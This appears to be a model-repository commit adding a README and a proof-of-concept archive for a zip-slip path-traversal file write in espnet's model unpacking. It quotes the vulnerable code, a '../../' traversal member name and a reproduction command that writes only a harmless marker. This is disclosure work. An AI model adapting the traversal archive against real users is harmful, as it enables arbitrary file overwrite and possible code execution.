Upload 2 files
Browse files- README.md +71 -0
- espnet_zipslip_poc.zip +3 -0
README.md
ADDED
|
@@ -0,0 +1,71 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: apache-2.0
|
| 3 |
+
tags:
|
| 4 |
+
- security
|
| 5 |
+
- proof-of-concept
|
| 6 |
+
- path-traversal
|
| 7 |
+
---
|
| 8 |
+
|
| 9 |
+
# espnet `unpack()` zip-slip / path-traversal arbitrary file write (PoC model)
|
| 10 |
+
|
| 11 |
+
This repository contains a **benign** proof-of-concept model archive that
|
| 12 |
+
demonstrates a path-traversal / zip-slip arbitrary **file write** in
|
| 13 |
+
[espnet](https://github.com/espnet/espnet).
|
| 14 |
+
|
| 15 |
+
- Affected code: `espnet2/main_funcs/pack_funcs.py`, function `unpack()`
|
| 16 |
+
(commit `85ac06a1f773ab842169d73e8805801d61a4a738`).
|
| 17 |
+
- Reached by the public model-loading path
|
| 18 |
+
`espnet_model_zoo.downloader.ModelDownloader.download_and_unpack(...)` →
|
| 19 |
+
`unpack_local_file(...)` → `pack_funcs.unpack(archive, cachedir)`.
|
| 20 |
+
|
| 21 |
+
## Root cause
|
| 22 |
+
|
| 23 |
+
When espnet unpacks a model archive, every member whose name is listed in the
|
| 24 |
+
archive's `meta.yaml` `yaml_files` is written with a **manually joined path**:
|
| 25 |
+
|
| 26 |
+
```python
|
| 27 |
+
fname = archive.get_name_from_info(info) # attacker-controlled member name
|
| 28 |
+
outname = outpath / fname # no basename / no containment check
|
| 29 |
+
outname.parent.mkdir(parents=True, exist_ok=True)
|
| 30 |
+
with outname.open("w") as f: # writes OUTSIDE outpath if fname has ../
|
| 31 |
+
yaml.safe_dump(d, f)
|
| 32 |
+
```
|
| 33 |
+
|
| 34 |
+
The member name is never sanitised, so a name such as
|
| 35 |
+
`../../ESPNET_ZIPSLIP_ESCAPED.yaml` escapes the intended extraction directory.
|
| 36 |
+
Because the write uses a manual join + `open("w")` (not `ZipFile.extract`), this
|
| 37 |
+
escape works even for plain `.zip` archives, bypassing zipfile's own `..`
|
| 38 |
+
protection. The non-yaml branch (`archive.extract(...)`) additionally enables
|
| 39 |
+
classic tar-slip for `.tar`/`.tgz` archives. An attacker who publishes a model
|
| 40 |
+
can therefore drop files at arbitrary filesystem locations (e.g. overwrite a
|
| 41 |
+
startup script or config), leading to potential code execution.
|
| 42 |
+
|
| 43 |
+
## Contents
|
| 44 |
+
|
| 45 |
+
- `espnet_zipslip_poc.zip` — a minimal malicious espnet model archive. It
|
| 46 |
+
contains `meta.yaml` and one member literally named
|
| 47 |
+
`../../ESPNET_ZIPSLIP_ESCAPED.yaml`.
|
| 48 |
+
|
| 49 |
+
**benign PoC — writes a marker only:** the escaping member writes a harmless
|
| 50 |
+
YAML marker (`marker: ESPNET_ZIPSLIP_ESCAPED`); it performs no destructive
|
| 51 |
+
action.
|
| 52 |
+
|
| 53 |
+
## Reproduce
|
| 54 |
+
|
| 55 |
+
```bash
|
| 56 |
+
pip install espnet
|
| 57 |
+
python -c "import tempfile,pathlib; from espnet2.main_funcs.pack_funcs import unpack; \
|
| 58 |
+
d=pathlib.Path(tempfile.mkdtemp()); o=d/'cachedir'/'modelhash'; o.mkdir(parents=True); \
|
| 59 |
+
(o/'model.zip').write_bytes(pathlib.Path('espnet_zipslip_poc.zip').read_bytes()); \
|
| 60 |
+
unpack(str(o/'model.zip'), str(o)); \
|
| 61 |
+
print('ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR:', (d/'ESPNET_ZIPSLIP_ESCAPED.yaml').exists())"
|
| 62 |
+
```
|
| 63 |
+
|
| 64 |
+
Expected output ends with:
|
| 65 |
+
|
| 66 |
+
```
|
| 67 |
+
ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR: True
|
| 68 |
+
```
|
| 69 |
+
|
| 70 |
+
The file `ESPNET_ZIPSLIP_ESCAPED.yaml` appears **two directories above** the
|
| 71 |
+
extraction directory, proving the traversal.
|
espnet_zipslip_poc.zip
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:5acb51c03cdefa4f09a3364429e47275532ef1b4f5546b0bdb97195ca523d936
|
| 3 |
+
size 360
|